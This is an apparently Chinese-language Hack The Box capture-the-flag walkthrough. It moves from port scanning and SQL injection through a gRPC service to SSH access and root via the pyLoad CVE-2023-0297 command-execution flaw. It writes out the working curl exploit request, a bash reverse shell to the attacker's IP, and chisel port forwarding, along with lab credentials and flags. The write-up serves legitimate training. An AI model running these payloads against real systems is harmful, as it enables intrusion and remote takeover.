靶机介绍
来源:Hack The Box 靶机难度:Easy

信息收集
端口扫描
可以发现开放了两个端口,22和50051
sudo nmap -sT --min-rate 10000 -p- 10.10.11.214
版本探测
可以发现22端口版本为OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
50051仍然无法得知版本号
初步判断操作系统为Ubuntu Linux
sudo nmap -sU --top-ports 100 10.10.11.214
UDP扫描
没有新的发现
sudo nmap -sU --top-ports 100 10.10.11.214
谷歌搜寻信息
通过谷歌搜索得知50051可能是gRPC服务的默认端口号
渗透流程
使用grpcui创建webui
你也可以用grpcurl如果你更喜欢用命令行操作的话
./grpcui -plaintext 10.10.11.214:50051
下载地址
SQL注入
使用registerUser注册一个账户
登录获取ID和TOKEN
ID=187
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVhcmRyb3AiLCJleHAiOjE2OTE1NzkyNzJ9.AifFDaFQ20KOlX6A8_PN86yHoLJGkPw9A51xq9JRA88
正常getinfo可以成功
尝试在id那里添加一个引号 发现报错了,可能存在SQL注入
使用Sqlmap爆破数据库,拿到用户名密码
sudo sqlmap -r sql --level 5 --risk 3 --dump --batch
SSH登录
使用账户名sau密码HereIsYourPassWord1431
成功登录到目标靶机
获取user.txt
文件在家目录下
d11969f0ac61815bc832c267d1a90921
权限提升
发现可疑端口进程
使用netstat发现开放了8000端口,同时在opt目录下发现app的源码,并且该app是以root权限运行的。
端口转发
使用chisel进行端口转发
./chisel server -p 3477 --reverse # kali机
./chisel client 10.10.14.3:3477 R:8000:127.0.0.1:8000/tcp # 靶机
本地访问
访问127.0.0.1:8000发现是pyLoad,通过对比软件源码和谷歌搜寻得知该版本存在远程命令执行漏洞。CVE-2023-0297
漏洞利用
kali开启监听
sudo python3 -m http.server 7777
准备payload
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"bash%20/home/sau/shell.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
编写反弹shell.sh,并上传到靶机
sh -i >& /dev/tcp/10.10.14.3/7777 0>&1
执行获取反弹shell
获取root.txt
171712d7a82bea4a8b035f94a9293ff4
总结
通过50051的grpc端口服务,配合grpcui得知存在SQL注入漏洞,利用sqlmap获取到用户,并成功登录到ssh,最后利用pyLoad的远程命令执行漏洞getshell并提权。